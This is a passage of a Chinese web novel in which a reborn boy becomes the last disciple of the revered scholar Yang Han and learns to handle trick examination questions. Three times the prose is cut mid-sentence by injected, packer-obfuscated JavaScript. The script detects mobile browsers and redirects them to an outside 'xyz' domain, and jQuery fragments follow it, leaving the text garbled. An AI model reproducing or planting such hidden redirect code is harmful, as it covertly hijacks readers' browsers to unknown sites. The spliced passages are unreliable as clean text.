尽管如此,杨大学士一个月能去一次就算不错了,其他时候,他基本上都在家中修书养花,过着逍遥自在的养老生活,基本上谢绝访客,就连皇子求见都未必肯见。 如今这位大学士已年近七十,几乎半年才参加一次经筵讲习,依然是仕林典范,令人高山仰止的名士能臣。 就连当初的承恩侯,前两年带儿子登门拜访时,都被拒之门外。 想不到如今林夫人自立门户,林铭柯已成为白丁,居然还能接到这位的拜帖。 怎能不让人意外? 林铭柯看着那封普普通通的红泥纸拜帖,上面只写了庐陵杨晗四个字,字迹饱满方正中,筋骨凛然,正是杨晗有名的杨氏馆阁体书法。 他曾有幸陪着六皇子旁听经筵讲习时,见过这位老先生一面,并未当面交谈,更不曾有过单独见面的机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716378|173729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会,却不知他为何会突然登门。 “娘,不论杨先生所为何来,我们还是好生准备一下,等下我便去送回帖,问清楚缘由,免得明日准备不周,失了礼数。” 林夫人犹豫了一下,看着他瘦瘦小小的身体,“可你一个人出门,行吗?” 林铭柯扬了扬手中名帖,笑着说道:“我先前就听人说杨先生不喜住在城中,在西山下有个农庄,说要‘采菊东篱下,悠然见西山’。那庄子离咱们这不远,我去去就回,要不了多久的。” 林夫人只得放他前去,让两个出身护国公府的侍卫随行,免得有什么意外。儿子可是说过,他梦中在童生试前曾中了暗算,高烧不退,导致无法赴考。 谁知道那承恩侯父子会不会让人盯着这里,再对儿子下什么黑手呢? 防人之心不可无。 好在杨家庄子的确离林家庄不远,这西山温泉带大多都是御赐的皇庄或权贵庄园,各家占地面积都不算太大,就图一个冬暖夏凉,清净舒适的生活。 林夫人这庄子也是当初先帝赐给老护国公的,只是老护国公爱女心切,才送给她当了陪嫁,如今她和离之后,在在此坐月子休养身体,正好远离京城是非,正好与养老的杨大学士做了个不远不近的邻居。 林铭柯去送还名帖时,杨家庄看门的老头儿一看到他就笑了,“老爷说你若是来了,就问你愿不愿意当他的关门弟子,若是愿意,老爷明日就登门收徒,你且备好拜师茶便是。” “啊?”林铭柯目瞪口呆,差点以为自己听错了,重生以来,这消息,简直比系统出现在他脑海中更加令他震惊到难以置信。 老头看到他的呆样,笑得一双眼眯成了缝,“怎么?不愿意?” “不是……”林铭柯先是点头,又连忙摇头,“我愿意,杨老先生愿意收小子为徒,小子自是求之不得,只是小子年幼无知,没想到老先生肯收我为徒……” 毕竟,连他的亲爹,算起来都是老先生的徒孙辈的。 四朝元老啊,就连当今朝中阁老首辅们,大部分都是他弟子一辈的,与当今皇帝同辈。 若是他成了杨老先生的关门弟子,岂不是连皇帝都成了他的“师兄”? 六皇子岂不是要叫他一声“师叔?” 老头挥挥手,毫不客气地说道:“愿意就赶紧回去准备吧,老爷这会儿在休息,明日未时,老爷就去你家,你准备好拜师就是了!” “哦哦好好好……”林铭柯手足无措地被赶出门,看到关上的大门,仍有一种做梦的感觉。 人在家中坐,名师天上来。 离开承恩侯府,远离那个穿越者后,他这是真的开始转运了吗? 15. 第 15 章 第十五章择徒 次日,不光是林夫人母子,就连护国公父子都早早收拾打扮好,在温泉山庄等候着杨老先生的到来。 整个庄子里里外外都被打扫的干干净净,从桌椅几案到门板窗棂,甚至就连青石板路都被擦得一尘不染,园中草木更是被一早就修剪清理,生怕有尘埃或者露水沾染到来客的衣襟鞋底,引起对方哪怕一点点心情不快。 因为据说这位杨老先生有“洁癖”。 曾经因为一个太监身上有异味,直接拂袖而去,连当日的经筵讲习都不参加了。 导致皇帝为此直接换掉了一批太监,也让宫中太监每日三洗自身,以免身上有异味引起贵人不快。 其实在林铭柯看来,与其说这是杨老先生的“洁癖”,不如说是他借题发挥。 因为当日被他所“嫌弃”的那个太监,正是当时最受皇帝信重的大太监之一,专权索贿,贪婪妄为,朝中御史屡次上述弹劾都未有反馈不说,那些上书的御史还被他报复贬官,轻则外放边陲蛮荒之地,重则抄家流放,罢官为奴。 杨老先生嫌他“又脏又臭”,可不仅仅指的是他的身体,还有这人的灵魂,那才是洗都洗不干净的。 尽管如此,他还是把自己收拾得干干净净的,从里到外,让自己能完全配得上成为这位老先生的“关门弟子”。 十月的西山红枫正艳,浓烈如火,正如一家人此时的心情,都如火如荼,热烈到极致。 林若风今天特地带了自家的两个儿子过来观礼,就是想让他们见识一下小表弟的厉害。 别人求之不得的名师,主动登门收徒,算起来老先生的辈分跟老护国公齐平,这铭哥儿成了他的关门弟子后,岂不是要一跃成为表哥们的长辈? 林若风忍不住问了自己老爹一句,毫不意外地挨了老爹一巴掌。 “又不是同门,算什么辈分。在家论自家的,在外各交各的,瞎讲究个什么劲儿!” 挨完打也舒坦了,林若风悄悄跟自家妹子讲,“其实要从亲近程度来说,我也可以跟着铭哥儿长长辈分啊!比如我一下子跟杨老先生平辈的话,出去就可以让唐靖远给我磕头了!” 唐靖远可是真正拜过座师的,他当时考上进士时的座师是如今的内阁次辅户部尚书赵德元,正是杨老先生的弟子之一,算起来,他得称杨老先生为一声“师祖”。 这或许也是杨老先生后来不再正式教授弟子的原因之一,他年高德勋,连弟子都已经成为当朝重臣,若是再收弟子,这年龄和辈分算起来着实尴尬。 而在经筵讲习上,他也能够讲经论道,偶尔也会去太学或书院讲学,每次讲学时,都会引得无数学子赶去听课,据说连他讲课的房外树上都站满了人,只求能有听君一席课,胜读十年书的机会。 这也是为什么林夫人一开始怀疑是有人冒名前来行骗的原因,就连现在等在门口的护国公父子,都一直觉得这事情有些不真实。 直到那辆牛车摇摇晃晃地从小路上朝着林家庄子驶来,驾车的老头正是昨日杨家庄看门的老头。 牛车拉着的车厢半敞着门,里面一个年近古稀的老者身着玄袍,白发白须,面色却十分红润饱满,身形微胖,面带笑容,眉目舒展,团圆富态的模样,不像儒家高人,倒有些像佛家弥勒。 老护国公虎目一瞪,惊呼一声:“当真是杨老先生!” 杨老先生却是一挑眉,远远地朝着他摆了摆手,“林老刀你宝刀未老,生得个好孙子啊!” 老护国公善用横刀,曾自诩大燕第一刀,年轻时被人称为林小刀,等到年纪大了,林小刀的称号给了儿子,自己就成了林老刀。只不过,到如今还能直呼他这个绰号的人,已经寥寥无几。 此时听得他如此称呼,反而更觉亲切,亲自上前扶他下车,“我也是听他娘派人送信,听说你要收他为关门弟子,才特地赶来看看。” 杨老先生警觉地一瞪眼,“就算我收你孙子当关门弟子,你也休想我称你为长辈。” “那是自然!”老护国公连忙说道:“这师徒关系与我们之间,当然是各论各的。能得杨老教诲,那是铭哥儿太天大的福分,就是不知杨老看上他哪一点了?” 林若风还凑上来厚着脸皮问道:“我家还有两个小子,不知杨老肯不肯一并收下?” 杨老先生眼皮一翻,没好气地说道:“你那两个混世魔王在燕京的名声你自己不知道吗?教他们?是嫌我老头子命长吗?” 说着,他冲着林铭柯招招手,“过来。” 林铭柯连忙上前,恭恭敬敬地向他行礼,“小子林铭柯,见过杨老。” 杨老先生笑眯眯地问道:“那唐诗宋词,是你让人传出去的?” 林铭柯一惊,老老实实地点头。 这事情林夫人办的并不算隐秘,而且以这唐诗宋词从海外传来的名义,也只有林家的船队能有这个机会获取诗文,而承恩侯自家,就算是靠着唐贵妃攀上皇家船队,也很难私藏带回这等珍贵的诗稿文集。 所以在大部分人看来,这怕是林家船队从海外带回来的臻品,送到了承恩侯府上,结果正好林夫人生产,就落到了承恩侯手里,拿去给刚认的亲儿子唐文渊扬名,好压过原本的世子唐铭柯。 毕竟,唐铭柯的神童之名,可不是靠一两篇诗文,而是从小就有过耳能诵,过目不忘的本事,举一反三,学习能力极强,才有此名声的。 只是这些都属于正常人能力所及的范围,而那些足以流传千古的诗文,完全是超越常人认知的存在,一下子将唐文渊抬得太高,结果就摔得更重。 也正因为如此,大家对林铭柯主动离开唐家,跟着林夫人自立门户,改名换姓,并没有感到太意外。 那位姓唐的亲爹都为了庶长子压过他采用这种手段了,都打算要他的命了,他若是不走,岂不是留下来等死? 作为反击,将《唐诗》《宋词》整本印制外发,也就成了情理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716379|173729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之中的事。 瞒是瞒不过的,就算林夫人主动认下这个事儿,可大家也会认为她是为儿子出气所为。 只有杨老先生,一来就问是不是他,显然并没有把他当成一个不懂事的孩子。 他当然不能推给林夫人不认账,有仇不报非君子,他不觉得自己有错。 杨老先生上下打量着他,笑眯眯地问道:“你难道没想过从中抄几首诗,当做自己的发出去?” “没有。”林铭柯毫不犹豫地答道:“小子所长并非诗文,纵使贪得一时名声,却是坏了一世文心。” “好!”杨老先生伸手摸摸他的头顶,笑得眼都眯成了缝,“好一个文心,读书人若是连这点骨气都没了,那就算文章写得再好,也不配称为文人。” “你小小年纪,敢与父亲公堂论孝,又将《唐诗》、《宋词》广传天下,让天下学子受益,不贪名利富贵,是个好孩子。” “今日我收你为关门弟子,你可愿意?” “弟子愿意!”林铭柯朗声应下,心底长长地出了口气,终于知道老先生为什么收自己为弟子,忍不住有些热泪盈眶。 杨老先生亦是幼年出名,只是当时父亲早亡,寡母抚养他极为艰难,所以才会早早赴考出仕,十七岁中进士时仅为二甲,当时的老师都甚为惋惜,觉得他若是再进修三年后赴考,定能入一甲,甚至状元都不是不可能的。 七八岁的童生常有,可像他那样十二岁中举人,十七岁中进士入仕的却极为罕见。 正是这样一位老者,得知林铭柯的经历后,才会动了收徒之心,想要为这个有爹等于没爹,小小年纪就自立自强的幼童撑腰。 林铭柯明了他的心思后,更是感激不已,所谓雪中送炭,不过如此。 林夫人早就准备好了拜师礼,设枣栗(喻早立坚心)于红漆盘,奉束脩(干肉十条,示十全之礼)并芹藻(喻勤学采藻),陈于紫檀案上,由老护国公带着儿女焚香告祖。 “稚子虽幼,慕学崇文,今择贤师,伏惟先灵佑其慧业。” 三拜之后,林铭柯执弟子礼,双手捧着红漆盘,跪在杨老先生席前,恭恭敬敬地将束脩置于案上后,后退三步,跪拜于地,行顿首礼。 杨老先生走到他面前,伸手抚摸着他的头顶,微笑着说道:“尔龄虽韶,志已冲霄。吾授尔简册,当如琢玉。”说罢,将自己亲手所书的《春秋》注释三册和一支青竹狼毫笔送给他,接着说道:“六岁授书,古有甘罗;七龄咏鹅,今看汝能。持此三端:一曰勤若映雪,二曰敬如对日,三曰思同濯缨。” 林铭柯连忙双手接过,再次行礼,“弟子谨遵老师教诲。” 老护国公大喜过望,一见礼成,立刻就拉着杨老先生去后堂入席,定要借此机会开怀畅饮,林铭柯虽然能够同席作陪,却只有喝蜜水的份,只是哪怕喝的是水,此时此刻的心情,亦是如饮甘醴,熏然欲醉,恍如一梦。 感觉,这梦,真好,真甜。 16. 第 16 章 第十六章文字陷阱 大燕的童生试是一年一试,需要参加考生户籍所在地县令主持的县试,知府主持的府试后成为童生,才有参加院试的机会。 童生的身份是无法保留的,如果没能通过院试,则下一届仍然要从童生开始考起,只有通过院试,才能成为秀才(生员),作为科举中最低一级的科举功名,享有免除徭役、见官不跪,二十亩田地的免税资格。 因为朝廷并不限制科举的年龄,所以在童生试中,从七八岁到七八十岁的都有。 而童生试也不限制次数,所以参加的人数最多,只要考不过府试,无法成为秀才的,就要一次次赴考,为争取改换门庭而拼命挣扎。 可实际上,童生试的难度,更多是对底层学子,尤其是出身寒门的读书人。 因为童生试考的大多以记诵和理解为主,尤其是县试,里面很大一部分是默写题(填空),释义题(名词解释),另外还有需要熟背律法才能做出的判语题,然后才是最重要的一道四书题。 到院试则出现策问题,需要结合时事政务才能应答,这就考的是考生的实践知识或者说对朝廷政务的了解。 普通的寒门学子,能够找全四书五经及其注释就已经很不容易,还要全部背诵释义,难度不是一般的高。 但对于那些官宦世家书香门第,世代收集经文释义,从小就有家族长辈教导指引,从识字开始就听得是经文释义,经典诵读,文化积累和熏陶绝非寻常人家能比的。 所以神童常有,少进士难得。 杨晗虽幼年丧父,但也是出自名门,能够三四岁开蒙读书,就已经比寒门学子起点不知高了多少。 哪怕家道中落,他依然可以从七八岁就开始考童生,中秀才,当举人,免除徭役和赋税,一路畅通无阻地考上进士入仕。 所以他对林铭柯的要求也一样,务必在明年考过童生试,这样才能参加后年的府试和院试,哪怕是一路毫无阻碍地考上去,一次性拿到秀才功名,少说也得两三年功夫。 只有拿到了秀才功名,自立门户的林家,才能免除部分赋税和徭役,否则以林夫人目前的家产状况,哪怕只有三个主子,需要缴纳的赋税对于普通人来说,也是个天文数字。 和离的第一年,林夫人还能享受一下一品侯夫人的免税额,可是从明年开始,如果她这个小家中,没有有功名的男子顶门立户,各种田赋杂税就得开始计算,还要加上她作为女户,不再嫁不招婿还要额外再交的人头税。 这其实也是另一种意义上的单身税。 大燕朝并不鼓励寡妇守节,更不讲什么贞洁牌坊,而是更加鼓励寡妇再嫁,多子多福,为的就是加速恢复人口,对于一个四面危机的王国而言,人口是一项非常重要的财富。 没有足够多的人口,就无法养活四面守土的将士,更不用说征兵役徭役,都需要有大量的人口基数作为保障。 因此,在大燕朝,女子十六不嫁,就开始征收双倍人头税,二十不嫁则三倍,无儿无女的还要另外缴纳一部分慈幼税,用于朝廷收养弃婴和无子的孤老,这笔税款会按照女子名下田产数量收取。 这种看起来“劫富济贫”,对富人收取重税做公共慈善项目的政策,曾被称为圣人之举,可是在实际上执行过程中却完全变了样。 原因很简单,这种赋税,类似于吃绝户,名义上是你不生儿育女,朝廷替你养,若是你老无所依也可以进入朝廷的慈幼院养老。 可实际上,女子不得科举,无法入仕,就失去了得到免税资格的通道,只有依靠父亲丈夫或者儿子获取功名后得到诰封免税。 男子可以通过科举入仕得到免税资格,哪怕无子也可以过继或收养,不似对女子那般严苛。 而这种赋税制度,也是形成“士农工商”等级差的重要原因。 大商人再有钱,没有官身相护,若是官府严格查税,或是分派徭役兵役,一个县令都能让你破家灭族。 皇帝准许林夫人和离的前提,是她自立门户,独立于护国公之外,就无法享受到护国公的爵位护持,各种赋税徭役兵役都会随着林铭柯的成长而来。 通过官府的和离文书,清算嫁妆后,林夫人的家产也被公开,按照她名下的田庄和店铺全部实数缴税的话,绝对是一个令人十分肉疼的数字。 这是一种软刀子割肉的明谋,就连护国公都无法抗议辩驳,还得向皇帝谢恩领情。 毕竟,如果没有皇帝开金口,林夫人也很难顺利和离并拿回所有嫁妆。哪怕从承恩侯手里拿走的钱财,很可能会以赋税的方式被皇帝收走,她也别无选择。 林铭柯也同样别无选择,只有一次性通过各级考试,尽快拿到功名,才能最大程度地保全林夫人的财产。 杨老先生正是知道这一点,才会在这个节骨眼上主动上门收徒,就是为了保全这对宁为玉碎不为瓦全的母子。 自然,也因此招来了不少非议。 幸好,两家如今都住在西山,远离京城,拜师之事也只有林家人和杨老先生和少数下人知道,并未外传,知道的人少,就算愤愤不平说出去,也没多少人相信。 毕竟,杨老先生现在几乎半年才会在经筵讲习出现一次,甚至今年年初时还被人误传死讯,皇上都差点下旨追封赐谥号。 杨老先生先是让林铭柯将他最近的读书笔记都交了一份,还给了他几套近年来的童生试真题合集,从县试府试到院试都有,基本上都是燕京周围几个县的试题集。 燕京是大燕京都,下辖五个县,林铭柯原本属于内城的燕云县,如今随着林夫人单独立户,迁徙到了西山县,通过县试后,才能参加燕京府的府试。 虽说知县附郭十恶不赦,但对于考生来说,不必每次考试都在路上奔波劳碌,还要担心住处和吃食,加上京都的秀才名额也比其他州府要多,通过率相对江南那种死亡考区而言,已经是十分友好的了。 “你在燕京府考试,有好处也有坏处。” 杨老先生给他分析考题时,也讲了下当前燕京府的童生试情况。 “天子脚下,文气昌隆,所以每年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725961|173729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的秀才名额远超过其他州府。但也正因为就在天子眼皮下,各县的县令为了博取上官注意,在出题的时候,也是各出奇招,不断增加难度。” “以前的策论题都是从四书中命题,但大多数题目都已经在历年考过,四书五经中的整句都被用过后,考官们为了避免重复命题和猜题押题,就开始将不同书本中的语句强行拼接命题。” “这种截搭题不仅要考考生的知识面,还有联想能力和答题应对能力,在不同文意中建立逻辑,对于普通考生的难度就更大了。” “你小小年纪,已经能够通背四书,实为不易,若不是明年就要应试,本该让你夯实基础,在通读通背的基础上再精读深研,可现在时间紧张,为师也只能先教你一些应对截搭题的破解之法。” “多谢老师!”林铭柯忍不住起身向杨老先生行了一礼。 原本对他来说,童生试的难度不算高,他前世哪怕错过一次,但备考过程以及自己做过的真题,都应该能顺利通过。 可那仅仅是通过,而不是高中。 在记忆中哪怕第一世他童生试的名次也不算高,到后来乡试夺魁,还有人说是因为他当初年纪小被考官特地压了名次,想让他再多读几年书。 但他自己清楚,那时的他完全是凭借超强的记忆力通过考试,阅历不足,锋芒太盛,就算考官不压,他也无法进入前三。 但现在不同了,杨老先生不光是科举神童,还曾经当过学政、太学祭酒、侍讲学士,直到最后的太子太师,那是从考生到考官,到考官的老师、天子的老师,但凡科举一途上的每个环节,他都有丰厚的经历,还是最顶级的那种。 所以他才能够从出题人的角度来理解截搭题,做出破解之法,传授给这位关门弟子。 毕竟,在他上一个弟子最后一次考试的时候,县试的截搭题还没有到现在这般丧心病狂的地步。 过去好歹是从一本《论语》跨章节中出截搭题,现在不光跨书本,甚至还有跨到其他诗文中的。从同句截取到隔章截搭,到现在的跨书截搭,原本还有同义近义相似的语句截搭,现在已经发展到毫无关联甚至完全相悖的陷阱式截搭,答错题不光是离题万里,还有可能犯忌讳直接失去考试资格。 杨老先生随手出了一道题给他:“来,你试试这道题——王速出令反,其旌倪。” 林铭柯闻言一怔,脑中迅速闪过无数文字。 这句的原文出自《孟子》第二卷《梁惠王》,全句本来是是“王速出令,反其旄倪,止其重器,置君而后去之,则犹可止也”,意思是大王如果及时下令,送还他们的老弱妇孺,不要拿走他们的宝器,与燕国商议重立新君后离去,那么还来得及制止其他国家兴兵而来的。 可是被这样一截取,前半句“王速出令反”,乍一看就像是在说“大王下令谋反”,而后半句“其旌倪”则在 《西京赋》中同样有一句“其旂(旗)捷猎”,两者截搭,难不成是要说大王下令谋反,故获胜旌旗飘扬? 这完全就是个死亡陷阱啊!